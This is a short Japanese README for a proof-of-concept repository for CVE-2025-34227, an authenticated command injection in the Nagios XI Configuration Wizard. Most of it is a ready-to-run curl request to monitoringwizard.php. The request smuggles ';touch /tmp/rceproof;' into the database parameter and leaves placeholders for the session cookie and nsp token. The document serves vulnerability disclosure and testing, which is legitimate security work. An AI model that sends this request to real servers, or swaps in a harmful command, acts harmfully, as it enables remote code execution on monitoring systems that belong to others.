
シンプルな概念実証リポジトリ - CVE-2025-34227 Nagios XI Configuration Wizard における認証済みコマンドインジェクション
CVE-2025-34227 の簡単な概念実証リポジトリです。Nagios XI の Configuration Wizard における認証済みコマンドインジェクションです。
詳細な解説はこちら: https://theyhack.me/CVE-2025-34227-Nagios-XI-Wizard-Command-Injection/
curl 概念実証以下のペイロードは database パラメータに含まれています: ;touch /tmp/rceproof;。
認証後、Cookie: nagiosxi= セッションID を追加し、nsp 値を POST ボディに追加してください:
$ curl -s \
-H 'Cookie: nagiosxi=<your-session-id-here>' \
--data 'update=1&nsp=<your-nsp-value-here>&step=3&nextstep=5&wizard=mysqlquery&tpl=&hostname=localhost&operation=&selectedhostconfig=&services_serial=&serviceargs_serial=&config_serial=&ip_address=127.0.0.1&port=3306&username=test&password=test&database=information_schema%3Btouch+/tmp/rceproof%3B&queryname=curl+RCE+service&query=SELECT+1&warning=50&check_interval=1&retry_interval=1&critical=200&finishButton=' \
http://192.168.122.9/nagiosxi/config/monitoringwizard.php